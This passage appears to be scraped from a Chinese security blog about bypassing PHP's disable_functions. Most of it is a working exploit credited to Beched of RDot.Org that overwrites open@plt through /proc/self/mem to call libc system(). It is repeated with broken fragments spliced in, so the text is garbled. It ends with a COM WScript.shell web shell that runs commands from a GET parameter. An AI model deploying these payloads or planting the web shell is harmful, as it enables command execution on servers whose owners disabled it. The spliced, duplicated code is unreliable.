readfile('/usr/bin/id');
exit;
}
echo "[-] Write failed. Exiting\n";
") {
$name .= $bin[$j];
}
if($name == 'open') {
return $r_offset;
}
}
}
else {
for($i = $dynsym_off; $i < $dynsym_off + $dynsym_size; $i += $dynsym_entsize) {
$name_off = unp(substr($bin, $i, 4));
$name = '';
$j = $strtab_off + $name_off - 1;
while($bin[++$j] != "<?php
/*
$libc_ver:
beched@linuxoid ~ $ php -r 'readfile("/proc/self/maps");' | grep libc
7f3dfa609000-7f3dfa7c4000 r-xp 00000000 08:01 9831386 /lib/x86_64-linux-gnu/libc-2.19.so
$open_php:
beched@linuxoid ~ $ objdump -R /usr/bin/php | grep '\sopen$'
0000000000e94998 R_X86_64_JUMP_SLOT open
$system_offset and $open_offset:
beched@linuxoid ~ $ readelf -s /lib/x86_64-linux-gnu/libc-2.19.so | egrep "\s(system|open)@@"
1337: 0000000000046530 45 FUNC WEAK DEFAULT 12 system@@GLIBC_2.2.5
1679: 00000000000ec150 90 FUNC WEAK DEFAULT 12 open@@GLIBC_2.2.5
*/
function packlli($value) {
$higher = ($value & 0xffffffff00000000) >> 32;
$lower = $value & 0x00000000ffffffff;
return pack('V2', $lower, $higher);
}
function unp($value) {
return hexdec(bin2hex(strrev($value)));
}
function parseelf($bin_ver, $rela = false) {
$bin = file_get_contents($bin_ver);
$e_shoff = unp(substr($bin, 0x28, 8));
$e_shentsize = unp(substr($bin, 0x3a, 2));
$e_shnum = unp(substr($bin, 0x3c, 2));
$e_shstrndx = unp(substr($bin, 0x3e, 2));
for($i = 0; $i < $e_shnum; $i += 1) {
$sh_type = unp(substr($bin, $e_shoff + $i * $e_shentsize + 4, 4));
if($sh_type == 11) { // SHT_DYNSYM
$dynsym_off = unp(substr($bin, $e_shoff + $i * $e_shentsize + 24, 8));
$dynsym_size = unp(substr($bin, $e_shoff + $i * $e_shentsize + 32, 8));
$dynsym_entsize = unp(substr($bin, $e_shoff + $i * $e_shentsize + 56, 8));
}
elseif(!isset($strtab_off) && $sh_type == 3) { // SHT_STRTAB
$strtab_off = unp(substr($bin, $e_shoff + $i * $e_shentsize + 24, 8));
$strtab_size = unp(substr($bin, $e_shoff + $i * $e_shentsize + 32, 8));
}
elseif($rela && $sh_type == 4) { // SHT_RELA
$relaplt_off = unp(substr($bin, $e_shoff + $i * $e_shentsize + 24, 8));
$relaplt_size = unp(substr($bin, $e_shoff + $i * $e_shentsize + 32, 8));
$relaplt_entsize = unp(substr($bin, $e_shoff + $i * $e_shentsize + 56, 8));
}
}
if($rela) {
for($i = $relaplt_off; $i < $relaplt_off + $relaplt_size; $i += $relaplt_entsize) {
$r_offset = unp(substr($bin, $i, 8));
$r_info = unp(substr($bin, $i + 8, 8)) >> 32;
$name_off = unp(substr($bin, $dynsym_off + $r_info * $dynsym_entsize, 4));
$name = '';
$j = $strtab_off + $name_off - 1;
while($bin[++$j] != "\0") {
$name .= $bin[$j];
}
if($name == 'open') {
return $r_offset;
}
}
}
else {
for($i = $dynsym_off; $i < $dynsym_off + $dynsym_size; $i += $dynsym_entsize) {
$name_off = unp(substr($bin, $i, 4));
$name = '';
$j = $strtab_off + $name_off - 1;
while($bin[++$j] != "\0") {
$name .= $bin[$j];
}
if($name == '__libc_system') {
$system_offset = unp(substr($bin, $i + 8, 8));
}
if($name == '__open') {
$open_offset = unp(substr($bin, $i + 8, 8));
}
}
return array($system_offset, $open_offset);
}
}
echo "[*] PHP disable_functions procfs bypass (coded by Beched, RDot.Org)\n";
if(strpos(php_uname('a'), 'x86_64') === false) {
echo "[-] This exploit is for x64 Linux. Exiting\n";
exit;
}
if(substr(php_uname('r'), 0, 4) < 2.98) {
echo "[-] Too old kernel (< 2.98). Might not work\n";
}
echo "[*] Trying to get open@plt offset in PHP binary\n";
$open_php = parseelf('/proc/self/exe', true);
if($open_php == 0) {
echo "[-] Failed. Exiting\n";
exit;
}
echo '[+] Offset is 0x' . dechex($open_php) . "\n";
$maps = file_get_contents('/proc/self/maps');
preg_match('#\s+(/.+libc\-.+)#', $maps, $r);
echo "[*] Libc location: $r[1]\n";
$pie_base = hexdec(explode('-', $maps)[0]);
echo '[*] PIE base: 0x' . dechex($pie_base) . "\n";
echo "[*] Trying to get open and system symbols from Libc\n";
list($system_offset, $open_offset) = parseelf($r[1]);
if($system_offset == 0 or $open_offset == 0) {
echo "[-] Failed. Exiting\n";
exit;
}
echo "[+] Got them. Seeking for address in memory\n";
$mem = fopen('/proc/self/mem', 'rb');
fseek($mem, $pie_base + $open_php);
$open_addr = unp(fread($mem, 8));
echo '[*] open@plt addr: 0x' . dechex($open_addr) . "\n";
$libc_start = $open_addr - $open_offset;
$system_addr = $libc_start + $system_offset;
echo '[*] system@plt addr: 0x' . dechex($system_addr) . "\n";
echo "[*] Rewriting open@plt address\n";
$mem = fopen('/proc/self/mem', 'wb');
fseek($mem, $pie_base + $open_php);
if(fwrite($mem, packlli($system_addr))) {
echo "[+] Address written. Executing cmd\n";
readfile('/usr/bin/id');
exit;
}
echo "[-] Write failed. Exiting\n";
") {
$name .= $bin[$j];
}
if($name == '__libc_system') {
$system_offset = unp(substr($bin, $i + 8, 8));
}
if($name == '__open') {
$open_offset = unp(substr($bin, $i + 8, 8));
}
}
return array($system_offset, $open_offset);
}
}
echo "[*] PHP disable_functions procfs bypass (coded by Beched, RDot.Org)\n";
if(strpos(php_uname('a'), 'x86_64') === false) {
echo "[-] This exploit is for x64 Linux. Exiting\n";
exit;
}
if(substr(php_uname('r'), 0, 4) < 2.98) {
echo "[-] Too old kernel (< 2.98). Might not work\n";
}
echo "[*] Trying to get open@plt offset in PHP binary\n";
$open_php = parseelf('/proc/self/exe', true);
if($open_php == 0) {
echo "[-] Failed. Exiting\n";
exit;
}
echo '[+] Offset is 0x' . dechex($open_php) . "\n";
$maps = file_get_contents('/proc/self/maps');
preg_match('#\s+(/.+libc\-.+)#', $maps, $r);
echo "[*] Libc location: $r[1]\n";
$pie_base = hexdec(explode('-', $maps)[0]);
echo '[*] PIE base: 0x' . dechex($pie_base) . "\n";
echo "[*] Trying to get open and system symbols from Libc\n";
list($system_offset, $open_offset) = parseelf($r[1]);
if($system_offset == 0 or $open_offset == 0) {
echo "[-] Failed. Exiting\n";
exit;
}
echo "[+] Got them. Seeking for address in memory\n";
$mem = fopen('/proc/self/mem', 'rb');
fseek($mem, $pie_base + $open_php);
$open_addr = unp(fread($mem, 8));
echo '[*] open@plt addr: 0x' . dechex($open_addr) . "\n";
$libc_start = $open_addr - $open_offset;
$system_addr = $libc_start + $system_offset;
echo '[*] system@plt addr: 0x' . dechex($system_addr) . "\n";
echo "[*] Rewriting open@plt address\n";
$mem = fopen('/proc/self/mem', 'wb');
fseek($mem, $pie_base + $open_php);
if(fwrite($mem, packlli($system_addr))) {
echo "[+] Address written. Executing cmd\n";
readfile('/usr/bin/id');
exit;
}
echo "[-] Write failed. Exiting\n";
利用 Windows 系统组件 COM
原理简介:
COM(Component Object Model)组件对象模型,是一种跨应用和语言共享二进制代码的方法。COM 可以作为 DLL 被本机程序载入也可以通过 DCOM 被远程进程调用
C:WindowsSystem32
下的 wshom.ocx
能够提供 WshShell 对象和 WshNetwork 对象接口的访问,也就是提供对本地 Windows shell 和计算机所连接的网络上共享资源的访问
漏洞利用条件:
•Windows系统•php.ini 中开启 com.allow_dcom
•到 php.ini 中开启拓展extension=php_com_dotnet.dll
靶场环境:
在Windows2008R2服务器上搭建WAMP环境。
php.ini 中开启 com.allow_dcom
com.allow_dcom = true
因为是在 Windows,如果在拓展文件夹 php/ext/ 中存在 php_com_dotnet.dll
到 php.ini 中开启拓展
extension=php_com_dotnet.dll
重启服务在 phpinfo 中就能看到开启了 com_dotnet
靶场突破:
上传EXP:
<?php
$command=$_GET['a'];
$wsh = new COM('WScript.shell'); // 生成一个COM对象 Shell.Application也能
$exec = $wsh->exec("cmd /c ".$command); //调用对象方法来执行命令
$stdout = $exec->StdOut();
$stroutput = $stdout->ReadAll();
echo $stroutput;
?>
使用上面的 PHP 代码通过 COM 对象的 exec()
方法即可绕过 disable_functions 执行命令。
转自:hack学习呀